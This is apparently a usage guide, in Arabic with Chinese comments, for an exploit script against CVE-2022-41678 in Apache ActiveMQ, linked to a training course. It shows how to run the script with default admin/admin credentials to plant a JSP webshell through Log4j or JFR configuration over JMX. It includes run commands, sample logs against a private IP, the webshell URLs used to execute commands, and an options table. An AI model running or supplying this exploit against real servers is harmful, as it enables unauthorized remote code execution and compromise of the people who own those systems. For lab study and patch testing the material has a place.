
CVE-2022-41678 هو ثغرة تنفيذ برمجيات عن بُعد في Apache ActiveMQ. تسمح هذه الثغرة للمهاجم بتعديل إعدادات Log4j أو إعدادات JFR (Java Flight Recorder) عبر واجهة JMX (Java Management Extensions)، وبالتالي كتابة webshell من نوع JSP خبيثة إلى دليل الويب الخاص بالخادم، مما يحقق في النهاية تنفيذ برمجيات عن بُعد.
المرجع: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في Apache ActiveMQ. تسمح هذه الثغرة للمهاجم بتعديل إعدادات Log4j أو إعدادات JFR (Java Flight Recorder) عبر واجهة JMX (Java Management Extensions)، وبالتالي كتابة webshell ضار بصيغة JSP إلى دليل الويب الخاص بالخادم، مما يؤدي في النهاية إلى تنفيذ تعليمات برمجية عن بُعد.
تؤثر هذه الثغرة على عدة إصدارات من Apache ActiveMQ، وتعتمد الإصدارات المتأثرة تحديدًا على استخدام إعدادات Log4j وJFR.
pip install requests
استخدام بيانات الاعتماد الافتراضية admin/admin وطريقة الاستغلال المكتشفة تلقائيًا:
python exp.py http://target:8161
كما يمكن تحديد اسم المستخدم وكلمة المرور عبر المعاملين -u و-p:
# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
بالإضافة إلى طريقة استغلال Log4j المستخدمة افتراضيًا، يمكن تحديد طريقة استغلال JFR عبر المعامل --exploit jfr.
# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
بعد نجاح الاستغلال، يمكن تنفيذ الأوامر عبر زيارة عنوان URL التالي:
# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令
# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令
على سبيل المثال، لتنفيذ أمر id:
http://target:8161/admin/shell.jsp?cmd=id
| المعامل | الاختصار | النوع | القيمة الافتراضية | الوصف |
|---|---|---|---|---|
--username | -u | سلسلة نصية | admin | اسم المستخدم لوحدة تحكم ActiveMQ |
--password | -p | سلسلة نصية | admin | كلمة مرور وحدة تحكم ActiveMQ |
--exploit | -e | سلسلة نصية | auto | طريقة الاستغلال، القيم الممكنة: auto, log4j, jfr |
url | - | سلسلة نصية | - | عنوان URL الخاص بخادم ActiveMQ المستهدف (معامل إلزامي) |